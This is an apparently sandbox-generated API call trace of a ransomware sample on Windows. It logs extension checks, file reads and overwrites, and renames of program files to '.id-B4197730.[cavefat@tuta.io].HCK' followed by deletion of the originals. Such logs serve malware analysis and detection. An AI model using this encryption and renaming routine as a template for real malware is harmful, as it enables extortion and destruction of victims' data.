(lpString1=".zip", lpString2=".mui") returned 1 [0165.472] lstrlenW (lpString=".rar") returned 4 [0165.472] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.472] lstrlenW (lpString=".bz2") returned 4 [0165.472] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.472] lstrlenW (lpString=".7z") returned 3 [0165.472] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0165.472] lstrlenW (lpString=".dbf") returned 4 [0165.472] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0165.472] lstrlenW (lpString=".1cd") returned 4 [0165.472] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0165.472] lstrlenW (lpString=".jpg") returned 4 [0165.472] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0165.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0165.472] lstrlenW (lpString=".doc") returned 4 [0165.472] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.472] lstrlenW (lpString=".docx") returned 5 [0165.472] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.472] lstrlenW (lpString=".pdf") returned 4 [0165.472] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.472] lstrlenW (lpString=".xls") returned 4 [0165.472] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.472] lstrlenW (lpString=".xlsx") returned 5 [0165.472] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.472] lstrlenW (lpString=".ppt") returned 4 [0165.472] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0165.472] lstrlenW (lpString=".zip") returned 4 [0165.472] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.472] lstrlenW (lpString=".rar") returned 4 [0165.472] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.472] lstrlenW (lpString=".bz2") returned 4 [0165.472] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.472] lstrlenW (lpString=".7z") returned 3 [0165.472] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0165.472] lstrlenW (lpString=".dbf") returned 4 [0165.473] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0165.473] lstrlenW (lpString=".1cd") returned 4 [0165.473] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0165.473] lstrlenW (lpString=".jpg") returned 4 [0165.473] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.473] lstrcmpiW (lpString1=".mui", lpString2=".HCK") returned 1 [0165.473] lstrlenW (lpString="tabskb.dll.mui") returned 14 [0165.473] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0165.481] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=5120) returned 1 [0165.482] CloseHandle (hObject=0x354) returned 1 [0165.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui")) returned 0x20 [0165.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.486] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0165.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0165.490] lstrlenW (lpString=".doc") returned 4 [0165.490] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.490] lstrlenW (lpString=".docx") returned 5 [0165.490] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.490] lstrlenW (lpString=".pdf") returned 4 [0165.490] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.490] lstrlenW (lpString=".xls") returned 4 [0165.490] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.490] lstrlenW (lpString=".xlsx") returned 5 [0165.490] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.490] lstrlenW (lpString=".ppt") returned 4 [0165.490] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0165.490] lstrlenW (lpString=".zip") returned 4 [0165.490] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.490] lstrlenW (lpString=".rar") returned 4 [0165.490] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.490] lstrlenW (lpString=".bz2") returned 4 [0165.490] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.491] lstrlenW (lpString=".7z") returned 3 [0165.491] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0165.491] lstrlenW (lpString=".dbf") returned 4 [0165.491] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0165.491] lstrlenW (lpString=".1cd") returned 4 [0165.491] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0165.491] lstrlenW (lpString=".jpg") returned 4 [0165.491] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0165.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0165.491] lstrlenW (lpString=".doc") returned 4 [0165.491] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.491] lstrlenW (lpString=".docx") returned 5 [0165.491] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.491] lstrlenW (lpString=".pdf") returned 4 [0165.491] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.491] lstrlenW (lpString=".xls") returned 4 [0165.491] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.491] lstrlenW (lpString=".xlsx") returned 5 [0165.491] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.491] lstrlenW (lpString=".ppt") returned 4 [0165.491] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0165.491] lstrlenW (lpString=".zip") returned 4 [0165.491] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.491] lstrlenW (lpString=".rar") returned 4 [0165.491] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.491] lstrlenW (lpString=".bz2") returned 4 [0165.491] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.491] lstrlenW (lpString=".7z") returned 3 [0165.491] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0165.491] lstrlenW (lpString=".dbf") returned 4 [0165.491] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0165.491] lstrlenW (lpString=".1cd") returned 4 [0165.491] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0165.491] lstrlenW (lpString=".jpg") returned 4 [0165.491] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.491] lstrcmpiW (lpString1=".mui", lpString2=".HCK") returned 1 [0165.491] lstrlenW (lpString="TipTsf.dll.mui") returned 14 [0165.491] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0165.502] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=3584) returned 1 [0165.502] CloseHandle (hObject=0x3ac) returned 1 [0165.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui")) returned 0x20 [0165.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.518] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0165.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0165.519] lstrlenW (lpString=".doc") returned 4 [0165.519] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.519] lstrlenW (lpString=".docx") returned 5 [0165.519] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.519] lstrlenW (lpString=".pdf") returned 4 [0165.519] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.519] lstrlenW (lpString=".xls") returned 4 [0165.519] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.519] lstrlenW (lpString=".xlsx") returned 5 [0165.519] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.519] lstrlenW (lpString=".ppt") returned 4 [0165.519] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0165.519] lstrlenW (lpString=".zip") returned 4 [0165.519] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.519] lstrlenW (lpString=".rar") returned 4 [0165.519] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.519] lstrlenW (lpString=".bz2") returned 4 [0165.519] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.519] lstrlenW (lpString=".7z") returned 3 [0165.519] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0165.519] lstrlenW (lpString=".dbf") returned 4 [0165.519] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.756] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0167.321] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 1 [0167.378] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0167.389] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc64 | out: lpNewFilePointer=0x0) returned 1 [0167.389] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc24 | out: lpNewFilePointer=0x0) returned 1 [0167.389] ReadFile (in: hFile=0x39c, lpBuffer=0x34d1058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25cfc30, lpOverlapped=0x0 | out: lpBuffer=0x34d1058*, lpNumberOfBytesRead=0x25cfc30*=0x40000, lpOverlapped=0x0) returned 1 [0167.394] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xd318c0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc24 | out: lpNewFilePointer=0x0) returned 1 [0167.394] ReadFile (in: hFile=0x39c, lpBuffer=0x3511058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3511058*, lpNumberOfBytesRead=0x25cfc30*=0x40000, lpOverlapped=0x0) returned 1 [0167.400] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x25cfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0167.400] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x2754a40, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc24 | out: lpNewFilePointer=0x0) returned 1 [0167.400] ReadFile (in: hFile=0x39c, lpBuffer=0x3551058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3551058*, lpNumberOfBytesRead=0x25cfc30*=0x40000, lpOverlapped=0x0) returned 1 [0167.420] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.420] WriteFile (in: hFile=0x39c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x25cfca8, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfca8*=0xc0106, lpOverlapped=0x0) returned 1 [0167.433] SetEndOfFile (hFile=0x39c) returned 1 [0167.436] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40000) returned 0x3e26028 [0167.438] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc74 | out: lpNewFilePointer=0x0) returned 1 [0167.438] WriteFile (in: hFile=0x39c, lpBuffer=0x3e26028*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x25cfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e26028*, lpNumberOfBytesWritten=0x25cfc80*=0x40000, lpOverlapped=0x0) returned 1 [0167.439] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xd318c0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc74 | out: lpNewFilePointer=0x0) returned 1 [0167.439] WriteFile (in: hFile=0x39c, lpBuffer=0x3e26028*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x25cfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e26028*, lpNumberOfBytesWritten=0x25cfc80*=0x40000, lpOverlapped=0x0) returned 1 [0167.440] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x2754a40, lpNewFilePointer=0x0, dwMoveMethod=0x25cfc74 | out: lpNewFilePointer=0x0) returned 1 [0167.440] WriteFile (in: hFile=0x39c, lpBuffer=0x3e26028*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x25cfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e26028*, lpNumberOfBytesWritten=0x25cfc80*=0x40000, lpOverlapped=0x0) returned 1 [0167.441] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x3e26028 | out: hHeap=0x6b0000) returned 1 [0167.442] CloseHandle (hObject=0x39c) returned 1 [0167.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0167.444] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0167.444] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0167.444] lstrlenW (lpString=".doc") returned 4 [0167.444] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0167.444] lstrlenW (lpString=".docx") returned 5 [0167.444] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0167.444] lstrlenW (lpString=".pdf") returned 4 [0167.444] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0167.444] lstrlenW (lpString=".xls") returned 4 [0167.444] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0167.444] lstrlenW (lpString=".xlsx") returned 5 [0167.444] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0167.444] lstrlenW (lpString=".ppt") returned 4 [0167.444] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0167.444] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0167.444] lstrlenW (lpString=".zip") returned 4 [0167.444] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0167.444] lstrlenW (lpString=".rar") returned 4 [0167.445] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0167.445] lstrlenW (lpString=".bz2") returned 4 [0167.445] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0167.445] lstrlenW (lpString=".7z") returned 3 [0167.445] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0167.445] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0167.445] lstrlenW (lpString=".dbf") returned 4 [0167.445] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0167.445] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0167.445] lstrlenW (lpString=".1cd") returned 4 [0167.445] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0167.445] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0167.445] lstrlenW (lpString=".jpg") returned 4 [0167.445] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0167.445] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0167.445] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0167.445] lstrlenW (lpString=".doc") returned 4 [0167.445] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0167.445] lstrlenW (lpString=".docx") returned 5 [0167.445] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0167.445] lstrlenW (lpString=".pdf") returned 4 [0167.445] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0167.445] lstrlenW (lpString=".xls") returned 4 [0167.445] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0167.445] lstrlenW (lpString=".xlsx") returned 5 [0167.445] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0167.445] lstrlenW (lpString=".ppt") returned 4 [0167.445] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0167.445] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0167.445] lstrlenW (lpString=".zip") returned 4 [0167.445] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0167.445] lstrlenW (lpString=".rar") returned 4 [0167.445] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0167.445] lstrlenW (lpString=".bz2") returned 4 [0167.445] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0167.445] lstrlenW (lpString=".7z") returned 3 [0167.445] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0167.445] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0167.445] lstrlenW (lpString=".dbf") returned 4 [0167.445] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0167.445] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0167.445] lstrlenW (lpString=".1cd") returned 4 [0167.445] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0167.446] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0167.446] lstrlenW (lpString=".jpg") returned 4 [0167.446] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0167.446] lstrcmpiW (lpString1=".exe", lpString2=".HCK") returned -1 [0167.446] lstrlenW (lpString="jp2launcher.exe") returned 15 [0167.446] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0167.466] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=112192) returned 1 [0167.466] CloseHandle (hObject=0x388) returned 1 [0167.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe")) returned 0x20 [0167.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.479] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0167.487] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.487] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.487] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0167.497] GetLastError () returned 0x0 [0167.497] ReadFile (in: hFile=0x39c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x1b640, lpOverlapped=0x0) returned 1 [0167.505] WriteFile (in: hFile=0x2f4, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x1b650, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x1b650, lpOverlapped=0x0) returned 1 [0167.506] ReadFile (in: hFile=0x39c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0167.507] WriteFile (in: hFile=0x2f4, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xf2, lpOverlapped=0x0) returned 1 [0167.507] SetEndOfFile (hFile=0x2f4) returned 1 [0167.511] CloseHandle (hObject=0x2f4) returned 1 [0167.513] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.513] SetEndOfFile (hFile=0x39c) returned 1 [0167.524] CloseHandle (hObject=0x39c) returned 1 [0167.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0167.525] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe")) returned 1 [0167.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0167.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54 [0167.528] lstrlenW (lpString=".doc") returned 4 [0167.528] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0167.528] lstrlenW (lpString=".docx") returned 5 